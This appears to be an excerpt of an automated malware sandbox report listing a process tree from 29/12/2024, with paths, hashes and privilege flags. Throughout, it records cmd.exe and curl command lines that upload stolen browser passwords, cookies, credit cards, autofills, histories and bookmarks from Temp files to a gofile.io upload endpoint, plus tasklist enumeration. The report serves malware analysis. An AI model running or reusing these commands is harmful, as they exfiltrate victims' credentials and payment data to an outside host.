                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:19
                                                                                                                                                                                                                                        Start time:14:02:50
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                        Imagebase:0x7ff626cd0000
                                                                                                                                                                                                                                        File size:530'944 bytes
                                                                                                                                                                                                                                        MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:20
                                                                                                                                                                                                                                        Start time:14:02:51
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "tasklist"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:21
                                                                                                                                                                                                                                        Start time:14:02:51
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:22
                                                                                                                                                                                                                                        Start time:14:02:51
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\tasklist.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:tasklist
                                                                                                                                                                                                                                        Imagebase:0x7ff6b6f70000
                                                                                                                                                                                                                                        File size:106'496 bytes
                                                                                                                                                                                                                                        MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:23
                                                                                                                                                                                                                                        Start time:14:02:55
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:24
                                                                                                                                                                                                                                        Start time:14:02:55
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:25
                                                                                                                                                                                                                                        Start time:14:02:55
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                        Imagebase:0x7ff626cd0000
                                                                                                                                                                                                                                        File size:530'944 bytes
                                                                                                                                                                                                                                        MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:26
                                                                                                                                                                                                                                        Start time:14:02:56
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:27
                                                                                                                                                                                                                                        Start time:14:02:56
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:28
                                                                                                                                                                                                                                        Start time:14:02:56
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                        Imagebase:0x7ff626cd0000
                                                                                                                                                                                                                                        File size:530'944 bytes
                                                                                                                                                                                                                                        MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:29
                                                                                                                                                                                                                                        Start time:14:02:56
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:30
                                                                                                                                                                                                                                        Start time:14:02:56
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:31
                                                                                                                                                                                                                                        Start time:14:02:56
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                        Imagebase:0x7ff626cd0000
                                                                                                                                                                                                                                        File size:530'944 bytes
                                                                                                                                                                                                                                        MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:32
                                                                                                                                                                                                                                        Start time:14:02:59
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:33
                                                                                                                                                                                                                                        Start time:14:02:59
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:34
                                                                                                                                                                                                                                        Start time:14:02:59
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                        Imagebase:0x7ff626cd0000
                                                                                                                                                                                                                                        File size:530'944 bytes
                                                                                                                                                                                                                                        MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:35
                                                                                                                                                                                                                                        Start time:14:03:02
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:36
                                                                                                                                                                                                                                        Start time:14:03:02
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:37
                                                                                                                                                                                                                                        Start time:14:03:02
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                        Imagebase:0x7ff626cd0000
                                                                                                                                                                                                                                        File size:530'944 bytes
                                                                                                                                                                                                                                        MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:38
                                                                                                                                                                                                                                        Start time:14:03:05
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:39
                                                                                                                                                                                                                                        Start time:14:03:05
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:40
                                                                                                                                                                                                                                        Start time:14:03:05
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                        Imagebase:0x7ff626cd0000
                                                                                                                                                                                                                                        File size:530'944 bytes
                                                                                                                                                                                                                                        MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:41
                                                                                                                                                                                                                                        Start time:14:03:09
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:42
                                                                                                                                                                                                                                        Start time:14:03:09
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff76d0f0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:43
                                                                                                                                                                                                                                        Start time:14:03:09
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                        Imagebase:0x7ff626cd0000
                                                                                                                                                                                                                                        File size:530'944 bytes
                                                                                                                                                                                                                                        MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:44
                                                                                                                                                                                                                                        Start time:14:03:09
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:45
                                                                                                                                                                                                                                        Start time:14:03:09
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:46
                                                                                                                                                                                                                                        Start time:14:03:09
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                        Imagebase:0x7ff626cd0000
                                                                                                                                                                                                                                        File size:530'944 bytes
                                                                                                                                                                                                                                        MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:47
                                                                                                                                                                                                                                        Start time:14:03:09
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                        Imagebase:0x7ff7b0e00000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:48
                                                                                                                                                                                                                                        Start time:14:03:09
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:49
                                                                                                                                                                                                                                        Start time:14:03:09
                                                                                                                                                                                                                                        Start date:29/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                        Imagebase:0x7ff626cd0000
                                                                                                                                                                                                                                        File size:530'944 bytes
                                                                                                                                                                                                                                        MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Disassembly

                                                                                                                                                                                                                                        ⊘No disassembly